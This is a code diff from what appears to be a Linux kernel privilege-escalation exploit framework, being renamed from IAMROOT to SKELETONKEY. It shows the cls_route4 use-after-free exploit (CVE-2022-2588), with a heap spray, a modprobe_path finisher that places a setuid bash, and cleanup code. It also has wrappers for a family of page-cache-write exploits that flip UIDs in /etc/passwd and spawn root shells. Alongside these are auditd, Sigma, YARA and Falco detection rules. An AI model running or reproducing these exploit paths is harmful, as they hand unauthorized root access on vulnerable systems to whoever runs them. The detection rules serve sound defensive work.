fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!have_tc() || !have_ip()) {
|
||||
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
||||
"cannot exploit\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early — no point doing
|
||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("cls_route4");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("cls_route4");
|
||||
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
@@ -607,7 +595,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t child = fork();
|
||||
if (child < 0) {
|
||||
perror("fork");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
@@ -652,7 +640,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Best-effort empirical witness write — picked up by --cleanup
|
||||
* and by post-run triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||
@@ -674,18 +662,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
* kernel a second chance at the refilled slot — the
|
||||
* dangling filter is still in place from above. */
|
||||
arb_ctx.dangling_ready = true;
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
cls4_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_msg_msg(arb_ctx.queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
|
||||
@@ -709,7 +697,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) {
|
||||
perror("waitpid");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
@@ -724,14 +712,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
* claim root — we haven't escalated. */
|
||||
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
||||
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
||||
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -740,19 +728,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 22:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
||||
"may be absent or filter type unsupported\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 23:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 30:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||
@@ -760,34 +748,33 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
||||
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
||||
"(setuid bash placed; sentinel matched)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
||||
"either the kernel is patched, the spray didn't land,\n"
|
||||
" or the fake-ops deref didn't hit the route the\n"
|
||||
" finisher's sentinel polls for. See "
|
||||
"/tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
||||
@@ -797,21 +784,97 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
||||
* the exploit with extended privileges (e.g. as root) and the
|
||||
* interface lingered in init_net. */
|
||||
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
||||
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
/* ignore */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
|
||||
* Linux-only kernel surface; the route4 dead-UAF is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cls_route4: Linux-only module "
|
||||
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cls_route4_auditd[] =
|
||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
const struct iamroot_module cls_route4_module = {
|
||||
static const char cls_route4_sigma[] =
|
||||
"title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
|
||||
"id: d56e8fc4-skeletonkey-cls-route4\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
|
||||
" netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
|
||||
" spray + UDP sendto on a dummy interface. False positives:\n"
|
||||
" traffic-shaping config in rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" udp: {type: 'SYSCALL', syscall: 'sendto'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and udp and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
|
||||
|
||||
static const char cls_route4_yara[] =
|
||||
"rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-2588\"\n"
|
||||
" description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY4\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cls_route4_falco[] =
|
||||
"- rule: tc route4 filter manipulation by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root tc qdisc + route4 filter add/delete inside a userns\n"
|
||||
" + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
|
||||
" positives: legitimate traffic shaping inside rootless\n"
|
||||
" containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and fd.sockfamily = AF_INET and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" UDP sendto on dummy iface from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
|
||||
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
||||
@@ -822,12 +885,14 @@ const struct iamroot_module cls_route4_module = {
|
||||
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
|
||||
.cleanup = cls_route4_cleanup,
|
||||
.detect_auditd = cls_route4_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = cls_route4_sigma,
|
||||
.detect_yara = cls_route4_yara,
|
||||
.detect_falco = cls_route4_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_cls_route4(void)
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
{
|
||||
iamroot_register(&cls_route4_module);
|
||||
skeletonkey_register(&cls_route4_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
@@ -1,275 +0,0 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module bridge layer
|
||||
*
|
||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
|
||||
*
|
||||
* The bridge functions translate between the family's df_result_t
|
||||
* (defined in src/common.h) and iamroot_result_t (defined in
|
||||
* core/module.h). Numeric values are identical by design so the
|
||||
* translation is a direct cast.
|
||||
*
|
||||
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* forwarded to the family's existing global flags before each
|
||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||
* unchanged.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include "src/common.h"
|
||||
#include "src/copyfail.h"
|
||||
#include "src/copyfail_gcm.h"
|
||||
#include "src/dirtyfrag_esp.h"
|
||||
#include "src/dirtyfrag_esp6.h"
|
||||
#include "src/dirtyfrag_rxrpc.h"
|
||||
#include "src/mitigate.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
static void apply_ctx(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
dirtyfail_json = ctx->json;
|
||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||
* it's a debug knob; default stays off. */
|
||||
}
|
||||
|
||||
/* ----- Family-wide --mitigate / --cleanup -----
|
||||
*
|
||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||
* set apparmor_restrict_unprivileged_userns=1, drop_caches) is the same
|
||||
* for every member of this family. All 5 modules' .mitigate fields
|
||||
* therefore point at the same wrapper.
|
||||
*
|
||||
* For .cleanup we route based on visible state:
|
||||
* - If the mitigation conf file is present, the user most recently
|
||||
* ran --mitigate → revert that.
|
||||
* - Otherwise the user ran --exploit → evict /etc/passwd from page
|
||||
* cache.
|
||||
* This is a heuristic, not a state machine. Sufficient for the common
|
||||
* usage patterns. */
|
||||
|
||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||
|
||||
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)mitigate_apply();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
struct stat st;
|
||||
if (stat(CFF_MITIGATE_CONF, &st) == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||
}
|
||||
return (iamroot_result_t)mitigate_revert();
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||
"evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
/* Shared detection rules for the copy_fail family — every member of
|
||||
* this family exploits the same page-cache-write primitive and lands
|
||||
* in the same files (/etc/passwd or /usr/bin/su). One rule set covers
|
||||
* all five module entries. Per-module structs alias the same strings. */
|
||||
static const char copy_fail_family_auditd[] =
|
||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
|
||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
|
||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
|
||||
|
||||
static const char copy_fail_family_sigma[] =
|
||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
||||
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||
" Dirty Frag siblings (CVE-2026-43284 v4/v6, CVE-2026-43500). Catches the\n"
|
||||
" /etc/passwd UID-flip backdoor + the persistent backdoor account install.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers', '/usr/bin/su']\n"
|
||||
" not_root: {auid|expression: '!= 0'}\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
const struct iamroot_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "≤ 6.12.84, fixed mainline 2026-04-22",
|
||||
.detect = copy_fail_detect_wrap,
|
||||
.exploit = copy_fail_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module copy_fail_gcm_module = {
|
||||
.name = "copy_fail_gcm",
|
||||
.cve = "VARIANT",
|
||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same as copy_fail; rfc4106(gcm(aes)) not in modprobe blacklist",
|
||||
.detect = copy_fail_gcm_detect_wrap,
|
||||
.exploit = copy_fail_gcm_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp_module = {
|
||||
.name = "dirty_frag_esp",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP path",
|
||||
.detect = dirty_frag_esp_detect_wrap,
|
||||
.exploit = dirty_frag_esp_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_esp6_module = {
|
||||
.name = "dirty_frag_esp6",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP6 path; V6 STORE shift auto-calibrated",
|
||||
.detect = dirty_frag_esp6_detect_wrap,
|
||||
.exploit = dirty_frag_esp6_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct iamroot_module dirty_frag_rxrpc_module = {
|
||||
.name = "dirty_frag_rxrpc",
|
||||
.cve = "CVE-2026-43500",
|
||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "kernels exposing AF_RXRPC + rxkad with fcrypt fallback",
|
||||
.detect = dirty_frag_rxrpc_detect_wrap,
|
||||
.exploit = dirty_frag_rxrpc_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
void iamroot_register_copy_fail_family(void)
|
||||
{
|
||||
iamroot_register(©_fail_module);
|
||||
iamroot_register(©_fail_gcm_module);
|
||||
iamroot_register(&dirty_frag_esp_module);
|
||||
iamroot_register(&dirty_frag_esp6_module);
|
||||
iamroot_register(&dirty_frag_rxrpc_module);
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module registry hooks
|
||||
*
|
||||
* The family currently contains five iamroot_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in iamroot_modules.c, registered into the global registry
|
||||
* by iamroot_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module copy_fail_module;
|
||||
extern const struct iamroot_module copy_fail_gcm_module;
|
||||
extern const struct iamroot_module dirty_frag_esp_module;
|
||||
extern const struct iamroot_module dirty_frag_esp6_module;
|
||||
extern const struct iamroot_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,399 @@
|
||||
/*
|
||||
* copy_fail_family — SKELETONKEY module bridge layer
|
||||
*
|
||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
|
||||
*
|
||||
* The bridge functions translate between the family's df_result_t
|
||||
* (defined in src/common.h) and skeletonkey_result_t (defined in
|
||||
* core/module.h). Numeric values are identical by design so the
|
||||
* translation is a direct cast.
|
||||
*
|
||||
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* forwarded to the family's existing global flags before each
|
||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||
* unchanged.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include "src/common.h"
|
||||
#include "src/copyfail.h"
|
||||
#include "src/copyfail_gcm.h"
|
||||
#include "src/dirtyfrag_esp.h"
|
||||
#include "src/dirtyfrag_esp6.h"
|
||||
#include "src/dirtyfrag_rxrpc.h"
|
||||
#include "src/mitigate.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
